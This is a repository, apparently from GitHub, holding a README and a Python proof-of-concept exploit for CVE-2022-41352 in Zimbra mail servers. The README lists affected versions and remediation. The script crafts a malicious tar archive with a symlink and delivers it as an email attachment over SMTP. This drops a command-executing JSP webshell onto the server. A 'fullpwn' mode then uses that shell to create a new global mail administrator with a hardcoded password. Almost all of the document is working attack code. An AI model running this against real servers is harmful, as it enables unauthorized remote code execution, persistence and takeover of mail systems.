├── README.md └── cve-2022-41352.py /README.md: -------------------------------------------------------------------------------- 1 | # (CVE-2022-41352) Zimbra Unauthenticated RCE 2 | 3 | > CVE-2022-41352 is an arbitrary file write vulnerability in Zimbra mail servers due to the use of a vulnerable `cpio` version. 4 | 5 | - [CVE-2022-41352 (NIST.gov)](https://nvd.nist.gov/vuln/detail/CVE-2022-41352) 6 | - [CVE-2022-41352 (Rapid7 Analysis)](https://attackerkb.com/topics/1DDTvUNFzH/cve-2022-41352/rapid7-analysis) 7 | 8 | **Affected [Zimbra versions](https://wiki.zimbra.com/wiki/Zimbra_Releases):** 9 | - Zimbra <9.0.0.p27 10 | - Zimbra <8.8.15.p34 11 | 12 | (Refer to the [patch notes](https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories) for more details.) 13 | 14 | **Remediation:** 15 | 16 | In order to fix the vulnerability apply the latest patch (9.0.0.p27 and 8.8.15.p34 respectively) - or install `pax` and restart the server. 17 | 18 | **Usage:** 19 | 20 | You can either use flags or manipulate the default configuration in the script manually (config block at the top). 21 | Use `-h` for help. 22 | ```bash 23 | $ python cve-2022-41352.py -h 24 | 25 | $ vi cve-2022-41352.py 26 | # Change the config items. 27 | 28 | $ python cve-2022-41352.py manual 29 | # This will create an attachment that you can then send to the target server. 30 | # The recipient does not necessarily have to exist - if the email with the attachment is parsed by the server the arbitrary file write in cpio will be triggered. 31 | ``` 32 | 33 | **Example:** 34 | 35 | ![example](https://user-images.githubusercontent.com/63863112/201727401-76a05e0c-d55d-4752-966f-49f2301113f1.png) 36 | (The above screenshot shows a wrong output for the email body but that has been fixed.) 37 | 38 | **Demo:** 39 | 40 | https://user-images.githubusercontent.com/63863112/201446602-20d9adbb-d138-4d6b-bca7-5bec80d75972.mp4 41 | -------------------------------------------------------------------------------- /cve-2022-41352.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | import smtplib 5 | import argparse 6 | from time import sleep 7 | from email.mime.multipart import MIMEMultipart 8 | from email.mime.application import MIMEApplication 9 | from email.mime.text import MIMEText 10 | import requests 11 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 12 | 13 | # CONFIGURATION 14 | #---------------------------------- 15 | TARGET = 'mail.test.org' 16 | WEBSHELL_PATH = '/public/jsp' 17 | WEBSHELL_NAME = 'Startup1_3.jsp' 18 | ATTACHMENT = 'payload.tar' 19 | SENDER = 'test@test.org' 20 | RECIPIENT = 'admin@test.org' 21 | 22 | EMAIL_SUBJECT = 'CVE-2022-41352' 23 | EMAIL_BODY = 'Just testing.

Don\'t mind me.

' 24 | #---------------------------------- 25 | 26 | # Only change this if zimbra was not installed in the default location 27 | UPLOAD_BASE = '/opt/zimbra/jetty_base/webapps/zimbra' 28 | 29 | 30 | def create_tar_payload(payload, payload_name, payload_path, lnk='startup'): 31 | # Block 1 32 | link = lnk.encode() 33 | mode = b'0000777\x00' # link permissions 34 | ouid = b'0001745\x00' # octal uid (997) 35 | ogid = b'0001745\x00' # octal gid 36 | lnsz = b'00000000000\x00' # file size (link = 0) 37 | lmod = b'14227770134\x00' # last modified (octal unix) 38 | csum = b' ' # checksum = 8 blanks 39 | type = b'2' # type (link = 2) 40 | targ = payload_path.encode() # link target 41 | magi = b'ustar \x00' # ustar magic bytes + version 42 | ownu = b'zimbra' # user owner 43 | owng = b'zimbra' # group owner 44 | vers = b'\x00'*8 + b'\x00'* 8 # device major and minor 45 | pref = b'\x00'*155 # prefix (only used if the file name length exceeds 100) 46 | 47 | raw_b1_1 = link + b'\x00'*(100-len(link)) + mode + ouid + ogid + lnsz + lmod 48 | raw_b1_2 = type + targ + b'\x00'*(100-len(targ)) + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref 49 | # calculate and insert checksum 50 | csum = oct(sum(b for b in raw_b1_1+csum+raw_b1_2))[2:] 51 | raw_b1 = raw_b1_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b1_2 52 | # pad block to 512 53 | raw_b1 += b'\00'*(512-len(raw_b1)) 54 | 55 | # Block 2 56 | mode = b'0000644\x00' # file permissions 57 | file = f'{lnk}/{payload_name}'.encode() 58 | flsz = oct(len(payload))[2:] # file size 59 | csum = b' ' # checksum = 8 blanks 60 | type = b'0' # type (file = 0) 61 | targ = b'\x00'*100 # link target = none 62 | 63 | raw_b2_1 = file + b'\x00'*(100-len(file)) + mode + ouid + ogid + f'{flsz:>011}'.encode() + b'\x00' + lmod 64 | raw_b2_2 = type + targ + magi + ownu + b'\x00'*(32-len(ownu)) + owng + b'\x00'*(32-len(owng)) + vers + pref 65 | # calculate and insert checksum 66 | csum = oct(sum(b for b in raw_b2_1+csum+raw_b2_2))[2:] 67 | raw_b2 = raw_b2_1 + f'{csum:>07}'.encode() + b'\x00' + raw_b2_2 68 | # pad block to 512 69 | raw_b2 += b'\00'*(512-len(raw_b2)) 70 | 71 | 72 | # Assemble 73 | raw_tar = raw_b1 + raw_b2 + payload + b'\x00'*(512-(len(payload)%512)) 74 | raw_tar += b'\x00' * 512 * 2 # Trailer: end with 2 empty blocks 75 | 76 | return raw_tar 77 | 78 | # Update this if you want to use a legit email account for sending the payload 79 | def smtp_send_file(target, sender, recipient, subject, body, attachment, attachment_name): 80 | msg = MIMEMultipart() 81 | msg['Subject'] = subject 82 | msg['From'] = sender 83 | msg['To'] = recipient 84 | 85 | message = MIMEText(body, 'html') 86 | msg.attach(message) 87 | 88 | att = MIMEApplication(attachment) 89 | att.add_header('Content-Disposition', 'attachment', filename=attachment_name) 90 | msg.attach(att) 91 | 92 | try: 93 | print(f'>>> Sending payload') 94 | smtp_server = smtplib.SMTP(target,25) 95 | smtp_server.sendmail(sender, recipient, msg.as_string()) 96 | print(f'>>> Payload delivered') 97 | except Exception as e: 98 | print(f'[!] Failed to send the mail: {e}') 99 | sys.exit(1) 100 | 101 | def verify_upload(target, shell, path): 102 | print(f'>>> Verifying upload to {path}/{shell} ...') 103 | sleep(5) # give the server time to process the email 104 | resp = requests.get(f'https://{target}{path}/{shell}', verify=False) 105 | if resp.status_code == 200: 106 | print(f'>>> [PWNED] Upload successful!') 107 | else: 108 | print(f'>>> Upload unsuccesful :(') 109 | sys.exit(1) 110 | 111 | def create_new_zimbra_admin(target, shell, path): 112 | url = f'https://{target}' 113 | pw = 'Pwn1ng_Z1mbra_!s_fun' 114 | print(f'>>> Adding a new global administrator') 115 | if (input(f'>>> Are you sure you want to continue? (yN): ') != 'y'): 116 | sys.exit(0) 117 | admin = input(f'>>> Enter the new admin email (newadmin@domain.com): ') 118 | r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ca {admin} {pw}', verify=False) 119 | r = requests.get(f'{url}/{path}/{shell}?task=/opt/zimbra/bin/zmprov ma {admin} zimbraIsAdminAccount TRUE', verify=False) 120 | 121 | print(f'>>> Login to {url}:7071/zimbraAdmin/ with:') 122 | print(f'>>> Email : {admin}') 123 | print(f'>>> Password : {pw}') 124 | 125 | 126 | def main(args): 127 | global TARGET,WEBSHELL_PATH,WEBSHELL_NAME,ATTACHMENT,SENDER,RECIPIENT,EMAIL_SUBJECT,EMAIL_BODY 128 | 129 | # Kali JSP WebShell 130 | payload = b'
<%@ page import="java.io.*" %><% String cmd=request.getParameter("task");String output="";if(cmd!=null){String s=null;try {Process p=Runtime.getRuntime().exec(cmd);BufferedReader sI=new BufferedReader(new InputStreamReader(p.getInputStream()));while((s = sI.readLine())!=null){output+=s;}}catch(IOException e){e.printStackTrace();}} %>
<%=output %>
' 133 | 134 | # Using this instead of argparse default values to allow easy manual configuration as well 135 | if args.payload: 136 | try: 137 | with open(args.payload, 'rb') as f: 138 | payload = f.read() 139 | except Exception as e: 140 | print(f'Failed to read {args.payload}: {e}') 141 | sys.exit(1) 142 | print(f'>>> Using custom payload from: {args.payload}') 143 | else: 144 | print(f'>>> Using default payload: JSP Webshell') 145 | if args.path: 146 | WEBSHELL_PATH = args.path 147 | if args.file: 148 | WEBSHELL_NAME = args.file 149 | if args.attach: 150 | ATTACHMENT = args.attach 151 | 152 | tar = create_tar_payload(payload, WEBSHELL_NAME, UPLOAD_BASE+WEBSHELL_PATH) 153 | 154 | print(f'>>> Assembled payload attachment: {ATTACHMENT}') 155 | print(f'>>> Payload will be extracted to ({UPLOAD_BASE}){WEBSHELL_PATH}/{WEBSHELL_NAME}') 156 | if args.mode == 'manual': 157 | with open(ATTACHMENT, 'wb') as f: 158 | f.write(tar) 159 | print(f'>>> Attachment saved locally.') 160 | sys.exit(0) 161 | 162 | if args.target: 163 | TARGET = args.target 164 | 165 | print(f'>>> Targeting {TARGET}') 166 | 167 | if args.sender: 168 | SENDER = args.sender 169 | if args.recip: 170 | RECIPIENT = args.recip 171 | if args.subject: 172 | EMAIL_SUBJECT = args.subject 173 | if args.body: 174 | try: 175 | with open(args.body, 'rb') as f: 176 | EMAIL_BODY = f.read().decode() 177 | except Exception as e: 178 | print(f'Failed to read {args.body}: {e}') 179 | sys.exit(1) 180 | print(f'>>> Using custom email body from: {args.body}') 181 | 182 | 183 | smtp_send_file( TARGET, 184 | SENDER, 185 | RECIPIENT, 186 | EMAIL_SUBJECT, 187 | EMAIL_BODY, 188 | tar, 189 | ATTACHMENT ) 190 | 191 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 192 | 193 | verify_upload(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) 194 | 195 | print(f'>>> Shell at: https://{TARGET}{WEBSHELL_PATH}/{WEBSHELL_NAME}') 196 | if args.mode == 'auto': 197 | sys.exit(0) 198 | 199 | if args.payload: 200 | print(f'>>> (!) "fullpwn" depends on the default JSP webshell - won\'t create the admin account') 201 | else: 202 | create_new_zimbra_admin(TARGET, WEBSHELL_NAME, WEBSHELL_PATH) 203 | 204 | sys.exit(0) 205 | 206 | if __name__ == '__main__': 207 | epi = ''' 208 | Alternatively, edit the script to change the default configuration. 209 | 210 | The available modes are: 211 | 212 | manual : Only create the payload - you have to deploy the payload yourself. 213 | auto : Create a webshell and deploy it via SMTP. 214 | fullpwn : After deploying a webshell, add a new global mail administrator. 215 | ''' 216 | 217 | p = argparse.ArgumentParser( 218 | description = 'CVE-2022-41352 Zimbra RCE', 219 | formatter_class = argparse.RawDescriptionHelpFormatter, 220 | epilog = epi 221 | ) 222 | p.add_argument('mode', metavar='mode', choices=['manual', 'auto', 'fullpwn'], help='(manual|auto|fullpwn) - see below') 223 | 224 | p.add_argument('--target', required=False, metavar='', dest='target', help=f'the target server (default: "{TARGET}")') 225 | p.add_argument('--payload', required=False, metavar='', help='the file to save on the target (default: jsp webshell)') 226 | p.add_argument('--path', required=False, metavar='', help=f'relative path for the file upload (default: "{WEBSHELL_PATH}")') 227 | p.add_argument('--file', required=False, metavar='', help=f'name of the uploaded file (default: "{WEBSHELL_NAME}")') 228 | p.add_argument('--attach', required=False, metavar='', help=f'name of the email attachment containing the payload (default: "{ATTACHMENT}")') 229 | p.add_argument('--sender', required=False, metavar='', help=f'sender mail address (default: "{SENDER}")') 230 | p.add_argument('--recip', required=False, metavar='', help=f'recipient mail address (default: "{RECIPIENT}") (if you can deploy the email directly to the server, neither the sender nor the recipient have to exist for the exploit to work)') 231 | p.add_argument('--subject', required=False, metavar='', help=f'subject to use in the email (default: "{EMAIL_SUBJECT}")') 232 | p.add_argument('--body', required=False, metavar='', help=f'file containing the html content for the email body (default: "{EMAIL_BODY}")') 233 | 234 | args = p.parse_args() 235 | 236 | main(args) 237 | --------------------------------------------------------------------------------